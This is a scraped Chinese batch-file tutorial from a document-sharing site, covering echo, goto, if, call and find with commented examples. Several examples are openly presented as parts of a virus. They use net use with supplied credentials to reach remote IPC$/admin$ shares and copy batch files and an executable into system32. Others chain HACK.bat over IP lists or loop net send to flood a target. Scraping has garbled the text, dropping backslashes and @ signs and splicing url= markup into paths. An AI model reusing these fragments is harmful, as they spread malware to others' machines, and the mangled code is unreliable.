批處理最完整人性化技術教程_第1頁
批處理最完整人性化技術教程_第2頁
批處理最完整人性化技術教程_第3頁
批處理最完整人性化技術教程_第4頁
批處理最完整人性化技術教程_第5頁
已閱讀5頁,還剩6頁未讀 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領

文檔簡介

1、這是一篇技術教程,我會用很簡單的文字表達清楚自己的意思,你要你識字就能看懂,就能學到知識。寫這篇教程的目的,是讓每一個看過這些文字的朋友記住一句話:如果愛可以讓事情變的更簡單,那么就讓它簡單吧!看這篇教程的方法,就是慢!慢慢的,如同品一個女人、一杯茗茶,你會發(fā)現(xiàn)很多以前就在眼前的東西突然變的很遙遠,而有些很遙遠的東西卻又突然回到了眼前。 先概述一下批處理是個什么東東。批處理的定義,至今我也沒能給出一個合適的-眾多高手們也都沒給出-反正我不知道-看了我也不一定信服-我是個菜鳥,當然就更不用說了;但我想總結出一個“比較合適的”,而且我也相信自己可以把它解釋的很清楚,讓更多的菜鳥都知道這是個什么東東

2、,你用這個東東可以干什么事情?;蛟S你會因為這篇文章而“無條件愛上批處理”,那么我的目的就達到了-我就是要讓你愛上它,我就這么拽,你能怎么著?真的,愛有時候就這么拽,就是這么沒理由,就是這么不要臉!真的! 按照我的理解,批處理的本質(zhì),是一堆DOS命令按一定順序排列而形成的集合。 OK,never claver and get to business(閑話少說言歸正傳)。批處理,也稱為批處理腳本,英文譯為BATCH,批處理文件后綴BAT就取的前三個字母。它的構成沒有固定格式,只要遵守以下這條就ok了:每一行可視為一個命令,每個命令里可以含多條子命令,從第一行開始執(zhí)行,直到最后一行結束,它運行的平臺

3、是DOS。批處理有一個很鮮明的特點:使用方便、靈活,功能強大,自動化程度高。我不想讓自己寫的教程枯燥無味,因為牽纏到代碼(批處理的內(nèi)容算是代碼吧?)的問題本來就是枯燥的,很少有人能面對滿屏幕的代碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理(暈,怎么又是愛?到底批處理和愛有什么關系?答案:沒有?。T僬f句“閑話”:要學好批處理,DOS基礎一定要牢!當然腦子靈活也是很重要的一方面。 文之家,5zj 例一、先給出一個最easy的批處理腳本讓大家和它混個臉熟,將下面的幾行命令保存為name.bat然后執(zhí)行(以后文中

4、只給出代碼,保存和執(zhí)行方式類似): exit 是不是都能看的懂?是不是很easy?但它的作用卻是很實用的,執(zhí)行這個批處理后,可以在你的當前盤建立一個名為a.txt的文件,它里面記錄的信息可以幫助你迅速找到速度最快的QQ服務器,從而遠離“從服務器中轉(zhuǎn)”那一痛苦的過程。這里>的意思,是把前面命令得到的東西放到后面所給的地方,>>的作用,和>的相同,區(qū)別是把結果追加到前一行得出的結果的后面,具體的說是下一行,而前面一行命令得出的結果將保留,這樣可以使這個a.txt文件越來越大(想到如何搞破壞了?)。By the way,這個批處理還可以和其他命令結合,搞成完全自動化判斷服務器

5、速度的東東,執(zhí)行后直接顯示速度最快的服務器IP,是不是很爽?后面還將詳細介紹。 本文來自文之家,例二、再給出一個已經(jīng)過時的例子(a.bat): echo off if exist C:Progra1TencentAD*.gif del C:Progra1TencentAD*.gif a.bat 為什么說這是個過時的例子呢?很簡單,因為現(xiàn)在已經(jīng)幾乎沒有人用帶廣告的QQ了(KAO,我的QQ還顯示好友三圍呢?。?,所以它幾乎用不上了。但曾經(jīng)它的作用是不可小窺的:刪除QQ的廣告,讓對話框干干凈凈。這里用的地址是QQ的默認安裝地址,默認批處理文件名為a.bat,你當然可以根據(jù)情況自行修改。在這個腳本中使用

6、了if命令,使得它可以達到適時判斷和刪除廣告圖片的效果,你只需要不關閉命令執(zhí)行后的DOS窗口,不按CTRL+C強行終止命令,它就一直監(jiān)視是否有廣告圖片(QQ也再不斷查看自己的廣告是否被刪除)。當然這個腳本占用你一點點內(nèi)存,呵呵。 例三,使用批處理腳本查是否中冰河。腳本內(nèi)容如下: echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause &am

7、p; exit 這里利用了netstat命令,檢查所有的網(wǎng)絡端口狀態(tài),只需要你清楚常見木馬所使用的端口,就能很easy的判斷出來是否被人種了冰河。然這不是確定的,因為冰河默認的端口7626,完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的腳本了,再改動一下,加進去參數(shù)和端口及信息列表文件后,就變成自動檢測所有木馬的腳本了。呵呵,是不是很過癮?腳本中還利用了組合命令&&和管道命令|,后面將詳細介紹。 本文來自文之家,例四,借批處理自動清除系統(tǒng)垃圾,腳本如下: echo off if exist c:windowstemp*.*

8、del c:windowstemp*.* if exist c:windowsTempor1*.* del c:windowsTempor1*.* if exist c:windowsHistory*.* del c:windowsHistory*.* if exist c:windowsrecent*.* del c:windowsrecent*.* 將以上腳本內(nèi)容保存到autoexec.bat里,每次開機時就把系統(tǒng)垃圾給自動刪除了。這里需要注意兩點:一、DOS不支持長文件名,所以就出現(xiàn)了Tempor1這個東東;二、可根據(jù)自己的實際情況進行改動,使其符合自己的要求。 怎么樣,看到這里,你對批

9、處理腳本是不是已經(jīng)有點興趣了?是不是發(fā)現(xiàn)自己已經(jīng)慢慢愛上了這個東東?別高興的太早,愛不是一件簡單的事,它也許能帶給你快樂和幸福,當然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續(xù)的話,I 服了 YOU!繼續(xù)努力吧,也許到最后你不一定得到真愛(真的有這可能,愛過的人都知道),但你可以體會到整個愛的過程,就是如此。 酸、苦和辣,有沒有甜天知道。 為什么會把批處理和愛情扯上關系?不是我無聊,也不是因為這樣寫有趣多少,原因有二:其一,批處理和愛情有很多相同的地方,有些地方我用“專業(yè)”的行話解釋不清(我不懷疑自己的表達能力,而是事情本身就不好說清楚),說了=沒說,但用地球人都知道的愛情一比喻(愛情是什么

10、?我*怎么知道?。?,沒準你心里一下就亮堂了,事半功倍,何樂而不為?其二,我這段時間狀態(tài)不是很好,感冒發(fā)燒頭疼鼻塞,但主要還是感情上精神摧殘,搞的人煩透了,借寫教程之際感慨幾句,大家就全當買狗皮膏藥了,完全可以省略不看(也許還真有點效果-不至于讓你看著看著就睡著了,把頭磕了來找我報銷醫(yī)藥費)。說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們。 看過第一章的朋友,一定對批處理有了初步的印象,知道它到底是用來干什么的了。但你知道運用批處理的精髓在哪里嗎?其實很簡單:思路要靈活!沒有做不到的,只有想不到的。這和愛情就有點不同了,因為愛情的世界是兩個人的世界,一廂情愿不叫愛情(補充:那叫

11、單戀。廢話!)而批處理卻是一個人的天堂,你可以為所欲為,沒有達不到的境界! 文之家,電腦知識學習網(wǎng) 批處理看起來雜亂無章,但它的邏輯性之強,絕對不比其他程序語言(如匯編)低,如果你寫的腳本是一堆亂麻,雖然每一行命令都正確,但從頭執(zhí)行到尾后,不一定得到你想要的結果,也許是一屏幕的Bad command or fail name。這又和愛情有了共同點:按步驟來經(jīng)營,缺少或增多的步驟都可能導致不想看見的結果。陷入愛河的朋友,相信沒有不肯定這句話的。我的愛情批處理,輸出的結果不是Bad command or fail name,屏幕是這么顯示的:你的愛情'不是內(nèi)部或外部命令,也不是可運行的程序

12、或批處理文件。然后就是光標不停閃動,等待這下一次錯誤的輸入。 從這一章開始,將由淺入深的介紹批處理中常用的命令,很多常見DOS命令在批處理腳本中有這廣泛的應用,它們是批處理腳本的BODY部分,但批處理比DOS更靈活多樣,更具備自動化。要學好批處理,DOS一定要有比較扎實的基礎。這里只講述一些比較少用(相對來說)的DOS命令,常用命令如COPY、DIR等就不做介紹了(這些看似簡單的命令實際復雜的很,我怕自己都說不清楚!)。 例五,先看一個實例。這是一個很有意思的腳本,一個小巧實用的好東東,把批處理“自動化”的特點體現(xiàn)的淋漓盡致。先介紹一下這個腳本的來歷:大家都知道匯編程序(MASM)的上機過程,

13、先要對源代碼進行匯編、連接,然后再執(zhí)行,而這中間有很多環(huán)節(jié)需要輸入很多東西,麻煩的很(只有經(jīng)歷過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞匯編課程設計時,我“被逼”寫了這個腳本,用起來很爽,呵呵??纯茨_本內(nèi)容: 文之家,5zj echo off :close echo cls :clean screen echo This programme is to make the MASM programme automate :display info echo Edit by CODERED :display info echo Mailto me : email=qqkiller*qqk

14、iller*/email :display info if "%1"="" goto usage :if input without paramater goto usage if "%1"="/?" goto usage :if paramater is "/?" goto usage if "%1"="help" goto usage :if paramater is "help" goto usage pause :pause t

15、o see usage masm %1.asm :assemble the .asm code if errorlevel 1 pause & edit %1.asm :if error pause to see error msg and edit the code link %1.obj & %1 :else link the .obj file and execute the .exe file :usage :set usage echo Usage: This BAT file name asm file name echo Default BAT file name

16、 is START.BAT 本文來自文之家, :display usage 先不要被這一堆的東西給嚇怕了,靜下心來仔細的看(回想一下第一章中第一段是怎么寫的!)。已經(jīng)給出了每一行命令的解釋,兩個冒號后面的內(nèi)容為前一行內(nèi)容解釋的E文(害怕E文的朋友也不用擔心,都很easy,一看就懂了,實在不懂了不會查詞典啊,這么懶?),在腳本執(zhí)行時不顯示,也不起任何作用。倒數(shù)第5行行首有一個冒號,可不是筆誤哦!具體作用后面會詳細講到。此腳本中masm和link是匯編程序和連接程序,必須和edit程序以及你要編輯的源代碼(當然還有這個腳本,廢話?。┮黄鹪诋斍澳夸浿?。使用這個批處理腳本,可以最大可能的減少手工輸入,

17、整個過程中只需要按幾下回車鍵,即可實現(xiàn)從匯編源代碼到可執(zhí)行exe文件的自動化轉(zhuǎn)換,并具備智能判斷功能:如果匯編時源代碼出現(xiàn)錯誤(匯編不成功),則自動暫停顯示錯誤信息,并在按任意鍵后自動進入編輯源代碼界面;如果源代碼匯編成功,則進行連接,并在連接后自動執(zhí)行生成的exe文件。另外,由于批處理命令的簡單性和靈活性,這個腳本還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。正在學匯編的朋友,一定別忘了實習一下!在這個腳本中出現(xiàn)了如下幾個命令:、echo、:、pause、:和goto、%以及if。而這一章就將講述這幾個命令。 本文來自文之家,1、 這個符號大家都不陌生,email的必備符號

18、,它怎么會跑到批處理中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執(zhí)行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話!)。呵呵,通俗一點說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的echo off中,的作用就是讓腳本在執(zhí)行時不顯示后面的echo off部分。這下懂了吧?還是不太懂?沒關系,看完echo命令簡介,自然就懂了。 2、echo 中文為“反饋”、“回顯”的意思。它其實是一個開關命令,就是說它只有兩種狀態(tài):打開和關閉。于是就有了echo on和echo off兩個命令了。直接執(zhí)行echo命令將顯示當前echo命令狀態(tài)(off或on)執(zhí)行e

19、cho off將關閉回顯,它后面的所有命令都不顯示命令本身,只顯示執(zhí)行后的結果,除非執(zhí)行echo on命令。在例五中,首行的命令和echo off命令聯(lián)合起來,達到了兩個目的:不顯示echo off命令本身,不顯示以后各行中的命令本身。的確是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢! echo命令的另一種用法一:可以用它來顯示信息!如例五中倒數(shù)第二行,Default BAT file name is START.BAT將在腳本執(zhí)行后的窗口中顯示,而echo命令本身不顯示(為什么?)。 本文來自文之家, echo命令的另一種用法二:可以直接編輯文本文件。例六: echo nbtsta

20、techo nbtstatecho nbtstat以上腳本內(nèi)容的編輯方法是,直接是命令行輸入,每行一回車。最后就會在當前目錄下生成一個a.bat的文件,直接執(zhí)行就會得到結果。 3、: 這個命令的作用很簡單,它是注釋命令,在批處理腳本中和rem命令等效。它后面的內(nèi)容在執(zhí)行時不顯示,也不起任何作用,因為它只是注釋,只是增加了腳本的可讀性,和C語言中的/*/類似。地球人都能看懂,就不多說了。 4、pause 中文為“暫?!钡囊馑迹纯茨愕膚orkman上),我一直認為它是批處理中最簡單的一個命令,單純、實用。它的作用,是讓當前程序進程暫停一下,并顯示一行信息:請按任意鍵繼續(xù). . .。在例五中這個命

21、令運用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個是顯示錯誤的匯編代碼信息(其實不是它想顯示,而是masm程序在顯示錯誤信息時被暫它停了,以便讓你看清楚你的源代碼錯在哪里)。 5、:和goto 為什么要把這兩個命令聯(lián)合起來介紹?因為它們是分不開的,無論少了哪個或多了哪個都會出錯。goto是個跳轉(zhuǎn)命令,:是一個標簽。當程序運行到goto時,將自動跳轉(zhuǎn)到:定義的部分去執(zhí)行了(是不是分不開?)。例五中倒數(shù)第5行行首出現(xiàn)一個:,則程序在運行到goto時就自動跳轉(zhuǎn)到:標簽定義的部分執(zhí)行,結果是顯示腳本usage(usage就是標簽名稱)。不難看出,goto命令就是根據(jù)這個冒號和標簽名稱來尋找它該

22、跳轉(zhuǎn)的地方,它們是一一對應的關系。goto命令也經(jīng)常和if命令結合使用。至于這兩個命令具體用法,參照例五。 內(nèi)容來自 goto命令的另一種用法一:提前結束程序。在程序中間使用goto命令跳轉(zhuǎn)到某一標簽,而這一標簽的內(nèi)容卻定義為退出。如: goto end :end 這里:end在腳本最后一行!其實這個例子很弱智,后面講了if命令和組合命令你就知道了。 6、% 這個百分號嚴格來說是算不上命令的,它只是批處理中的參數(shù)而已(多個%一起使用的情況除外,以后還將詳細介紹),但千萬別以為它只是參數(shù)就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了??纯蠢撸?net use u

23、rl=file:/%251/ipc$%1ipc$/url %3 /u:"%2" copy 11.BAT url=file:/%251/admin$/system32%1admin$system32/url /y copy 13.BAT url=file:/%251/admin$/system32%1admin$system32/url /y copy ipc2.BAT url=file:/%251/admin$/system32%1admin$system32/url /y copy NWZI.EXE url=file:/%251/admin$/system32%1admi

24、n$system32/url /y attrib url=file:/%251/admin$/system32/10.bat%1admin$system3210.bat/url -r -h -s copyright 以上代碼是病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執(zhí)行形式為:腳本文件名 參數(shù)一 參數(shù)二 。假設這個腳本被保存為a.bat,則執(zhí)行形式如下:a IP username password。這里IP、username、password是三個參數(shù),缺一不可(因為程序不能正確運行,并不是因為少了參數(shù)語法就不對)這樣在腳本執(zhí)行過程中,腳本就自動用

25、用你的三個參數(shù)依次(記住,是依次!也是一一對應的關系。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那么腳本的作用也就被固定了,但如果使用%的話,不同的參數(shù)可以達到不同的目的,是不是更靈活?)。 關于這個參數(shù)的使用,在后續(xù)章節(jié)中還將介紹。一定要非常熟練才行,這需要很多練習過程,需要下點狠工夫!這一章就寫到這里了??赡苡信笥褑柫耍涸趺礇]介紹if命令?呵呵,不是我忘了,而是它不容易說清楚,下一章再講了!這一章講的這點東西,如果你是初學者,恐怕也夠消化的了。記住一句話:DOS是批處理的BODY,任何一個DOS命令都可以被

26、用在批處理腳本中去完成特定的功能。到這里,你是否已經(jīng)想到了用自己肚子里的東西去寫點帶有自動化色彩的東東呢?很簡單,就是一個DOS命令的集合而已,相信自稱為天才的你已經(jīng)會把計算機等級考試上機試題中的DOS部分用批處理來自動化完成了。 曾經(jīng)有一篇經(jīng)典的批處理教程出現(xiàn)在你的屏幕上,你沒有保存,直到找不到它的鏈接你才后悔莫及,人世間最大的痛苦莫過于此。如果上天能給你一個再看一次的機會,你會對那篇教程說三個字:我愛你!如果非要給這份愛加上一個期限,你希望是100年。因為100年后,你恐怕早已經(jīng)掛了!而現(xiàn)在,你的屏幕上出現(xiàn)了這篇你正在看的批處理教程,雖然不如你曾經(jīng)看的那篇經(jīng)典,但如果勉強還過的去。你會愛它

27、嗎?時間會有50年那么長嗎?答案是:試試看吧。 批處理腳本中最重要的幾個命令,將在這一章詳細介紹,但是很遺憾,有些細節(jié)到現(xiàn)在我都沒掌握的很好,甚至還有些生分。如同還不太懂得愛一樣。但我一直都在努力,即使一直都沒有收獲。所以可能講的會比較籠統(tǒng),但我會告訴你方法,剩下的就是時間問題了,需要自己去磨練。讓我們共同努力吧。冰凍三尺非一日之寒,滴水穿石非一日之功。有些事情,比如學批處理,比如愛一個人,都是不能速成的,甚至還會有付出艱辛而收獲為甚微的情況。再次重申,看這篇教程的時候,一定要靜下心來,除非你已經(jīng)掌握了這篇教程的所有東西-但那也就不必看了,浪費時間! 7、if 接上一章,接著講if命令。總的來

28、說,if命令是一個表示判斷的命令,根據(jù)得出的每一個結果,它都可以對應一個相應的操作。關于它的三種用法,在這里分開講。 本文來自文之家,(1)、輸入判斷。還是用例五里面的那幾句吧: if "%1"="" goto usage if "%1"="/?" goto usage if "%1"="help" goto usage 這里判斷輸入的參數(shù)情況,如果參數(shù)為空(無參數(shù)),則跳轉(zhuǎn)到usage;如果參數(shù)為/?或help時(大家一般看一個命令的幫助,是不是輸入的/?或help呢,這里

29、這么做只是為了讓這個腳本看起來更像一個真正的程序),也跳轉(zhuǎn)到usage。這里還可以用否定形式來表示“不等于”,例如:if not "%1"="" goto usage,則表示如果輸入?yún)?shù)不為空就跳轉(zhuǎn)到usage(實際中這樣做就沒意義了,這里介紹用法,管不了那么多了,呵呵。)是不是很簡單?其實翻譯成中文體會一下就understand了。 (2)、存在判斷。再看例二里這句: if exist C:Progra1TencentAD*.gif del C:Progra1TencentAD*.gif 如果存在那些gif文件,就刪除這些文件。當然還有例四,都是一樣的

30、道理。注意,這里的條件判斷是判斷存在的,當然也可以判斷不存在的,例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:Progra1TencentAD*.gif exit。只是多一個not來表示否定而已。 copyright (3)、結果判斷。還是拿例五開刀(沒想到自己寫的腳本,竟然用處這么大,呵呵): masm %1.asm if errorlevel 1 pause & edit %1.asm link %1.obj 先對源代碼進行匯編,如果失敗則暫停顯示錯誤信息,并在按任意鍵后自動進入編輯界面;否則用link程序連接生成的obj文件。這里只介紹一下和i

31、f命令有關的地方,&命令后面會講到。這種用法是先判斷前一個命令執(zhí)行后的返回碼(也叫錯誤碼,DOS程序在運行完后都有返回碼),如果和定義的錯誤碼符合(這里定義的錯誤碼為1),則執(zhí)行相應的操作(這里相應的操作為pause & edit %1.asm部分)。 另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,代碼變?yōu)椋?masm %1.asm if not errorlevel 1 link %1.obj pause & edit %1.asm 看到本質(zhì)了吧?其實只是把結果判斷后所執(zhí)行的命令互換了一下,“if not errorlevel 1

32、”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執(zhí)行成功(因為它是錯誤判斷,而且返回碼為0,0就表示否定,就是說這個錯誤不存在,就是說masm執(zhí)行成功)。這里是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功腳本就肯定出錯,所以一定要體會的很深刻才行。如何體會的深刻?練習!自己寫一個腳本,然后把有not和沒有not的情況,返回碼為0或1的情況分別寫進去執(zhí)行(怎么,嫌麻煩???排列組合算一下才四中情況你就嫌麻煩了?后面介紹管道命令和組合命令時還有更麻煩的呢!怕了?呵呵。),這樣從執(zhí)行的結果中就能很清楚的看出這兩種情況的區(qū)別。 copyright

33、這種用errorlevel結果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷返回碼,則要達到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的。以上代碼必須變成: masm %1.asm if exist %1.obj link %1.obj else pause & edit %1.asm 關于if命令的這三種用法就say到這里,理解很簡單,但應用時就不一定用的那么得心應手,主要是熟練程度的問題。可能有的朋友有點驚訝,我怎么沒給出類似下面三行的用法介紹,是因為下面三行是if命令幫助里對它自身用法的解釋,任何人只要一個“if /

34、?”就能看到,我沒有必要在這里多費口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,所以我采用上面自己對if命令的理解來介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實際上可以互換(以為從本質(zhì)上講,這三種用法都是建立在判斷的基礎上的,哲學教我們學會透過現(xiàn)象看事物本質(zhì)?。?。有興趣的朋友可以自己研究一下。 IF NOT ERRORLEVEL number do command IF NOT string1=string2 do command IF NOT EXIST filename do command 文之家,5zj 8、call 學過匯編或C的朋友,

35、肯定都知道call指令表示什么意思了,在這里它的意思其實也是一樣的。在批處理腳本中,call命令用來從一個批處理腳本中調(diào)用另一個批處理腳本??蠢藄tart.bat: CALL 10.BAT 0 10.bat: ECHO %IPA%.%1 >HFIND.TMP CALL ipc.bat IPCFind.txt ipc.bat: for /f "tokens=1,2,3 delims= " %i in (%1) do call HACK.bat %i %j %k 有沒有看出什么不對的地方?沒看出來?。繘]看出來就對了,其實就沒有不對的地方嘛,你怎么看的出來!從上面兩個腳本

36、,你可以得到如下信息:1、腳本調(diào)用可以靈活運用,循環(huán)運用、重復運用。2、腳本調(diào)用可以使用參數(shù)!關于第一點就不多說了,聰明的你一看就應該會,這里說一下第二點。 高效就自然包括到了考慮的范圍,這時候你就會發(fā)現(xiàn)在調(diào)用腳本時直接加入?yún)?shù),可以使代碼效率加倍。By the way,上面的這幾個腳本,都是病毒的一部分,在后面的教程里,大家將有機會見到這個病毒的真面目。 那是不是說,在同一個目錄下至少存在兩個批處理腳本文件(只有一個你調(diào)用誰?)?呵呵,注意了,這句話錯了!只有一個照樣可以調(diào)用-調(diào)用自身!看例九(默認腳本文件名a.bat): 文之家,5zjnet send %1 This is a call

37、example. call a.bat 這兩句一結合,效果自然不怎么樣,因為只有一臺機器來發(fā)消息,誰怕誰???我給你來個禮尚往來!可如果有100臺機器同時執(zhí)行,而且每臺機器開10和窗口同時向一個目標機器發(fā)消息的話,呵呵。這里call a.bat的作用就是調(diào)用自身,執(zhí)行完前一句net send命令后再調(diào)用自身,達到了循環(huán)執(zhí)行的目的。 給出一個很有意思的腳本,有興趣的朋友可以實驗一下。例十(默認腳本文件名為a.bat): call a.bat 一定要在DOS窗口下執(zhí)行,否則只會看到一個窗口一閃而過,看不到最后結果。等執(zhí)行完后,當腳本被執(zhí)行了1260次,別忘了想一下到底是為什么!愛情有時候跟這個腳本一

38、樣,一旦陷入死循環(huán),最后的結果都是意想不到的。只是愛情,絕對不會等到被毫無理由的循環(huán)這么多次,也許在第三次時就出現(xiàn)了love is aborted的提示。 9、find 這是一個搜索命令,用來在文件中搜索特定字符串,通常也作為條件判斷的鋪墊程序(我怎么突然想起了這四個字?)。這個命令單獨使用的情況在批處理中是比較少見的,因為沒什么實際意義。還是借例三來說明: echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have in

39、fected GLACIER!" 本文來自文之家,del a.txt pause & exit 先用netstat命令檢查是否有冰河默認的端口7626在活動,并把結果保存到a.txt中。然后使用type命令列出a.txt中的內(nèi)容,再在列出的內(nèi)容中搜索字符串“7626” ,發(fā)現(xiàn)有的話則提示中了冰河,否則退出。看,find命令其實就這么簡單,但有一點必須要注意到:如果不使用type命令列出a.txt中的內(nèi)容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratula

40、tions! You have infected GLACIER!"),就必須得給出這個a.txt的絕對路徑(我試過了,find并沒有默認路徑就是當前路徑的功能,必須手動指定。也許是我錯了,歡迎指正)。因為在find命令的幫助里有這么一句話:如果沒有指定路徑,find將搜索鍵入的或者由另一個命令產(chǎn)生的文字。這里的“另一個命令”自然就指的type命令了。 至于find命令的其他幾個參數(shù)如v、n、i等,有興趣的朋友自己去研究吧,這已經(jīng)屬于DOS學習的內(nèi)容了,這里就不做介紹。關于find命令和其他命令的一些更精妙的用法(有些簡直令人叫絕),后續(xù)的教程中將介紹,希望關注。 10、for、se

41、t、shift 為什么把這三個命令放到一起來講?原因除了我說明外,恐怕誰也想不到!很簡單的一句話:其實我也不太懂!是的,對于這兩個命令,我是從研究病毒開始學習的,時間過去了不少,但還是沒完全搞明白,我怕講出來連自己都看不懂,我更怕不小心講錯了成了罪人。所以我給出一個腳本去告訴你,如何讓這兩個命令給自己留一個初步的印象,其實也就是這兩個命令的入門,而并不是說如何領會這兩個命令。因為要領會如此精妙的兩個命令(特別是for)談何容易!也許你會表揚我說我誠實、不懂就不懂;也許你會罵我,讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還會說一些別的這樣那樣好聽或不好聽的話,都隨便你了,即使我不同意你說的話,我也會誓死捍衛(wèi)你說話的權利??蠢唬?文之家,5zj echo off for /? > for.txt set /? > set.txt shift /? >shift.txt exit START.BAT: CALL MUMA.BAT SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n|find ":" >A.T

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論